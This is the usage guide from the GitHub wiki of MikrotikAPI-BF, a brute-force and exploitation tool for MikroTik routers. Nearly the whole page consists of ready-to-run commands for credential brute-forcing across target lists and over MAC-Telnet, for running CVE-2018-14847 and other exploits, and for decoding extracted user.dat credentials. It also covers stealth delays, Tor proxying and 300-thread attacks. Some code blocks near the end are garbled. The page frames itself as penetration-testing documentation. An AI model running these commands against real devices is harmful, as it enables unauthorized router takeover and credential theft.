Complete Usage Guide - mrhenrike/MikrotikAPI-BF GitHub Wiki

Complete Usage Guide — MikrotikAPI-BF v3.10.0

For authorized security testing only. All examples require explicit written permission from the target system's owner.


Quick Start

git clone https://github.com/mrhenrike/MikrotikAPI-BF.git
cd MikrotikAPI-BF
pip install -r requirements.txt
python mikrotikapi-bf.py --help

1. Basic Brute-Force

Single target, single user, password list

python mikrotikapi-bf.py -t 192.168.1.1 -U admin -d wordlists/passwords.lst

Username list + password list

python mikrotikapi-bf.py -t 192.168.1.1 -u users.lst -p passwords.lst

Combo file (user:pass format)

python mikrotikapi-bf.py -t 192.168.1.1 -d combos.lst

Custom API port

python mikrotikapi-bf.py -t 192.168.1.1 --api-port 1337 -d passwords.lst

Test single credential

python mikrotikapi-bf.py -t 192.168.1.1 -U admin -P mypassword

2. Multi-Target Scanning (v3.5.0+)

From targets.txt (one IP per line, # for comments):

# targets.txt
192.168.1.1
192.168.1.254
10.0.0.1
python mikrotikapi-bf.py -T targets.txt -d passwords.lst -U admin
python mikrotikapi-bf.py --target-list targets.txt -d combos.lst --threads 5

3. Post-Login Service Validation

# Validate FTP, SSH, Telnet after successful login
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --validate ftp,ssh,telnet

# Custom ports
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --validate ftp=2121,ssh=2222

# All services with verbose output
python mikrotikapi-bf.py -t 192.168.1.1 -U admin -P pass \
  --validate ftp,ssh,telnet --verbose

4. CVE / Vulnerability Scanning

# Scan applicable CVEs for the detected RouterOS version
python mikrotikapi-bf.py -t 192.168.1.1 --scan-cve -U admin -P pass

# Scan ALL CVEs (regardless of version match)
python mikrotikapi-bf.py -t 192.168.1.1 --scan-cve --all-cves -U admin -P pass

# Export CVE results to JSON
python mikrotikapi-bf.py -t 192.168.1.1 --scan-cve --all-cves \
  -U admin -P pass --export json --export-dir ./results

5. MAC-Server / Layer-2 Discovery (v3.3.0+)

Requires being on the same Layer-2 segment (VLAN/switch).

# Discover all Mikrotik devices on the local L2 segment
python mikrotikapi-bf.py --mac-discover

# Discover + brute-force credentials via MAC-Telnet
python mikrotikapi-bf.py --mac-discover --mac-brute -d passwords.lst

# Run CVE-2018-14847 against all discovered devices
python mikrotikapi-bf.py --mac-scan-cve

# Specify local IP for MNDP broadcast
python mikrotikapi-bf.py --mac-discover --mac-iface-ip 192.168.1.50

6. Offline Credential Decoders (v3.5.0+)

Based on research by Kirils Solovjovs (0ki/mikrotik-tools).

Decode user.dat (obtained via CVE-2018-14847)

# Basic decode
python mikrotikapi-bf.py --decode-userdat user.dat

# With index file for better accuracy
python mikrotikapi-bf.py --decode-userdat user.dat --decode-useridx user.idx

# Password algorithm (for reference):
# key = MD5(username + "283i4jfkai3389")  # 16 bytes
# plaintext = XOR(encrypted_password, key * 16)

Decode .backup file

python mikrotikapi-bf.py --decode-backup router.backup
# Extracts all .dat/.idx files and auto-decodes user credentials

Analyze NPK package (CVE-2019-3977)

python mikrotikapi-bf.py --analyze-npk routeros-7.20.7-x86_64.npk
# Lists parts, checks digest, detects install scripts

List supout.rif sections

python mikrotikapi-bf.py --decode-supout supout.rif

7. Device Fingerprinting

python mikrotikapi-bf.py -t 192.168.1.1 -U admin -P pass --fingerprint

8. Stealth Mode

# Fibonacci delays, randomized User-Agents
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --stealth

# Custom delay between attempts
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst -s 10

9. Threading

# Default: 2 threads; max 15
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --threads 8

10. Session Resume

# Start with session
python mikrotikapi-bf.py -t 192.168.1.1 -d big_list.lst

# Resume if interrupted (uses saved checkpoint)
python mikrotikapi-bf.py -t 192.168.1.1 -d big_list.lst --resume

# List saved sessions
python mikrotikapi-bf.py --list-sessions

# Force new session (ignore existing)
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --force

11. Export Results

# Export to JSON
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --export json

# Export to all formats (JSON, CSV, XML, TXT)
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --export-all

# Custom export directory
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst \
  --export-all --export-dir ./pentest-report

12. Proxy / SOCKS5

# Route through Tor
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --proxy socks5://127.0.0.1:9050

13. SSL / API-SSL

# Use encrypted API-SSL (port 8729)
python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --ssl --api-port 8729

14. Interactive REPL

python mikrotikapi-bf.py --interactive

# Inside REPL:
# mikrotik-bf> scan 192.168.1.0/24      # Discover Mikrotik devices
# mikrotik-bf> scan -r 10.0.0.1 10.0.0.254
# mikrotik-bf> fingerprint 192.168.1.1
# mikrotik-bf> attack 192.168.1.1
# mikrotik-bf> attack 192.168.1.1 -w wordlists/combos.lst
# mikrotik-bf> exploits 192.168.1.1     # Show applicable CVEs
# mikrotik-bf> results                   # Show found credentials
# mikrotik-bf> export json               # Export results
# mikrotik-bf> stealth on
# mikrotik-bf> exit

15. Full Pentest Workflow Example

# 1. Discover + fingerprint
python mikrotikapi-bf.py -t 192.168.1.1 --fingerprint

# 2. Run CVE scan (unauthenticated)
python mikrotikapi-bf.py -t 192.168.1.1 --scan-cve

# 3. Brute-force with stealth
python mikrotikapi-bf.py -t 192.168.1.1 \
  -u users.lst -d passwords.lst \
  --stealth --threads 3 --progress

# 4. Full authenticated scan after creds found
python mikrotikapi-bf.py -t 192.168.1.1 --scan-cve --all-cves \
  -U admin -P "C0C0D3GR120" \
  --validate ftp,ssh,telnet \
  --export-all --export-dir ./report/

# 5. MAC-Server attack (if on same L2)
python mikrotikapi-bf.py --mac-discover --mac-brute -d combos.lst

# 6. Decode extracted credentials
python mikrotikapi-bf.py --decode-userdat /tmp/user.dat --decode-useridx /tmp/user.idx

16. Programmatic API (Python)

from xpl.exploits import EXPLOIT_REGISTRY
from modules.decoder import UserDatDecoder

# Run a specific CVE check
e = EXPLOIT_REGISTRY["CVE-2018-14847"]("192.168.1.1", timeout=10)
result = e.check()
print(result)

# Decode user.dat
users = UserDatDecoder.from_files("user.dat", "user.idx")
UserDatDecoder.print_table(users)

# Run all EDB exploits
target = "192.168.1.1"
for eid in [k for k in EXPLOIT_REGISTRY if k.startswith("EDB-")]:
    r = EXPLOIT_REGISTRY[eid](target, timeout=5).check()
    print(f"[{eid}] {'VULN' if r['vulnerable'] else 'SAFE'}: {r.get('evidence','')[:80]}")

17. Environment Variables

export MIKROTIK_TARGET=192.168.1.1
export MIKROTIK_USER=admin
export MIKROTIK_PASS=password
export SHODAN_KEY=your_shodan_key
export NVD_KEY=your_nvd_key

All CLI Flags Reference

Flag Short Description Default Since
--target -t Target IP/hostname v1.0
--target-list -T File with targets (one per line) v3.5.0
--user -U Single username admin v1.0
--passw -P Single password v1.0
--userlist -u Username wordlist file v1.0
--passlist -p Password wordlist file v1.0
--dictionary -d Combo file (user:pass) v1.0
--seconds -s Delay between attempts (s) 5 v1.0
--threads Thread count (max 15, 300 w/ --high-threads) 2 v2.0
--high-threads Allow up to 300 threads false v3.6.0
--delay-mode Delay profile: high/balanced/stealth/custom balanced v3.6.0
--api-port RouterOS API port 8728 v1.0
--rest-port RouterOS REST port 8729 v3.5.0
--http-port HTTP port 80 v3.5.0
--ssl Use HTTPS for REST false v3.5.0
--ssl-port HTTPS port 443 v3.5.0
--validate Post-login validation services v2.1
--verbose -v Show failed attempts false v1.0
--verbose-all -vv Full debug false v2.0
--progress Progress bar + ETA false v2.1
--stealth Stealth delays + UA rotation false v2.1
--fingerprint Advanced device fingerprinting false v2.1
--exploit Run CVE scanner after BF false v3.5.0
--scan-cve Standalone CVE scan false v3.5.0
--all-cves Show all CVEs (ignore version) false v3.5.0
--run-exploit Run specific exploit by CVE/EDB ID v3.10.0
--audit 8-phase automated security audit false v3.10.0
--proxy Proxy URL (socks5://...) v3.5.4
--interactive Start interactive REPL false v3.5.0
--max-retries Connection retry count 1 v3.5.0
--export Export formats (json,csv,xml,txt,sarif) v2.1
--export-all Export to all formats false v2.1
--export-dir Output directory results v2.1
--audit-report Generate PDF audit report false v2.1
--resume Resume from previous session false v2.1
--force Force new session false v2.1
--list-sessions List saved sessions v2.1
--mac-discover MNDP broadcast discovery false v3.3.0
--mac-brute Brute via MAC-Telnet false v3.3.0
--mac-scan-cve CVE-2018-14847-MAC scan false v3.3.0
--mac-iface-ip Local IP for MNDP broadcast 0.0.0.0 v3.3.0
--decode-userdat Decode user.dat offline v3.5.0
--decode-useridx user.idx companion v3.5.0
--decode-backup Decode .backup archive v3.5.0
--analyze-npk Analyze NPK package v3.5.0
--decode-supout List supout.rif sections v3.5.0
--install-nse Install NSE scripts to Nmap v3.6.0

18. NSE Auto-Install

\ash mikrotikapi-install-nse mikrotikapi-bf --install-nse NMAP_SCRIPTS_DIR=/custom/path mikrotikapi-install-nse \

19. High-Thread Mode (up to 300)

\ash python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --threads 100 --high-threads python mikrotikapi-bf.py -T targets.lst -d combos.lst --threads 300 --high-threads \

20. Delay Profiles (v3.6.0+)

\ash python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --delay-mode high # 0s python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --delay-mode balanced # 0.25s python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --delay-mode stealth # 1.0s python mikrotikapi-bf.py -t 192.168.1.1 -d passwords.lst --delay-mode custom -s 0.5 \

21. Run Specific Exploit (v3.10.0+)

\ash python mikrotikapi-bf.py -t 192.168.1.1 --run-exploit CVE-2018-14847 python mikrotikapi-bf.py -t 192.168.1.1 --run-exploit CVE-2023-30799 -U admin -P pass \

22. 8-Phase Security Audit (v3.10.0+)

\ash python mikrotikapi-bf.py -t 192.168.1.1 --audit -U admin -P pass --export sarif python mikrotikapi-bf.py -t 192.168.1.1 --audit -U admin -P pass --export-all
Phases: system enumeration, service mapping, credential audit, injection testing, Winbox probing, SNMP analysis, debug endpoint discovery, firewall audit.


Interactive REPL Commands (v3.10.0+)

\ash python mikrotikapi-bf.py --interactive

mikrotik-bf> run CVE-2018-14847 192.168.1.1 # Run exploit

mikrotik-bf> audit 192.168.1.1 # Run full audit

mikrotik-bf> scan 192.168.1.0/24 # Discover

mikrotik-bf> exploits 192.168.1.1 # List CVEs

\